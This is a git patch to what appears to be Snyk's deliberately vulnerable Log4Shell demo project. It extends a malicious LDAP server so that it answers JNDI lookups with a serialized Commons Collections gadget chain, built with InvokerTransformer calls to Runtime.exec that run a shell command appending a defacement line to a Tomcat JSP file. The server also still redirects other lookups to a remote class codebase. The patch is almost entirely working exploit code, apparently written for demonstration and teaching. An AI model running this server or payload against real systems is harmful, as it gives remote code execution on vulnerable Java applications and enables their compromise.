From 4625d86fa50b64a212f6f9c011648e523d23636b Mon Sep 17 00:00:00 2001 From: bmvermeer Date: Thu, 6 Jan 2022 14:52:34 +0100 Subject: [PATCH] add secondary command to LDAP server. This creates an attack based deserialization of the commons collection library. This RCE works on all Java versions --- log4shell-goof/log4shell-server/pom.xml | 43 ++++++++--- .../src/main/java/Server.java | 72 ++++++++++++++----- 2 files changed, 89 insertions(+), 26 deletions(-) diff --git a/log4shell-goof/log4shell-server/pom.xml b/log4shell-goof/log4shell-server/pom.xml index 1976ac44ba..94de0952b2 100644 --- a/log4shell-goof/log4shell-server/pom.xml +++ b/log4shell-goof/log4shell-server/pom.xml @@ -5,6 +5,7 @@ io.snyk log4shell-server 0.0.1-SNAPSHOT + jar Java Goof :: Log4Shell Goof :: Log4Shell Server https://snyk.io @@ -31,21 +32,42 @@ undertow-core 2.2.13.Final + + commons-collections + commons-collections + 3.1 + + + org.apache.commons + commons-lang3 + 3.11 + + org.apache.maven.plugins maven-assembly-plugin - - - - Server - - - - jar-with-dependencies - - + + + package + + single + + + + + + Server + + + + + jar-with-dependencies + + + + org.codehaus.mojo @@ -57,5 +79,6 @@ + diff --git a/log4shell-goof/log4shell-server/src/main/java/Server.java b/log4shell-goof/log4shell-server/src/main/java/Server.java index ecb8a354aa..2a7caedb0a 100644 --- a/log4shell-goof/log4shell-server/src/main/java/Server.java +++ b/log4shell-goof/log4shell-server/src/main/java/Server.java @@ -7,8 +7,17 @@ import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + import io.undertow.Undertow; import io.undertow.util.Headers; +import org.apache.commons.lang3.SerializationUtils; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; @@ -21,6 +30,8 @@ import java.net.URL; import java.net.UnknownHostException; import java.nio.ByteBuffer; +import java.util.HashMap; +import java.util.Map; public class Server { private static final String LDAP_BASE = "dc=example,dc=com" ; @@ -100,7 +111,6 @@ public OperationInterceptor(URL cb) { public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base); - try { sendResult(result, base, entry); } catch (LDAPException | MalformedURLException e) { @@ -111,21 +121,51 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) { protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { - URL turl = new URL( - this.codebase, this.codebase.getRef().replace('.', '/').concat(".class") - ); - System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); - e.addAttribute("javaClassName", "foo"); - String cbstring = this.codebase.toString(); - int refPos = cbstring.indexOf('#'); - if (refPos > 0) { - cbstring = cbstring.substring(0, refPos); - } - e.addAttribute("javaCodeBase", cbstring); - e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ - e.addAttribute("javaFactory", this.codebase.getRef()); - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + System.out.println("Base = " + base); + if (base.equals("Commons")) { + //deserialization attack chain in commons collections + System.out.println("Send LDAP reference result for " + base + " containing a deserialized chain"); + + String[] command = { + "/bin/sh", + "-c", + "echo '

Nice container you have, I think I will move in!

' >> /usr/local/tomcat/webapps/todolist/WEB-INF/views/common/header.jspf"}; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String[].class }, new Object[] {command}) + }; + final Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaSerializedData", SerializationUtils.serialize(entry)); + e.addAttribute("objectClass", "javaNamingReference"); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } else { + URL turl = new URL( + this.codebase, this.codebase.getRef().replace('.', '/').concat(".class") + ); + System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); + e.addAttribute("javaClassName", "foo"); + String cbstring = this.codebase.toString(); + int refPos = cbstring.indexOf('#'); + if (refPos > 0) { + cbstring = cbstring.substring(0, refPos); + } + e.addAttribute("javaCodeBase", cbstring); + e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ + e.addAttribute("javaFactory", this.codebase.getRef()); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } } } }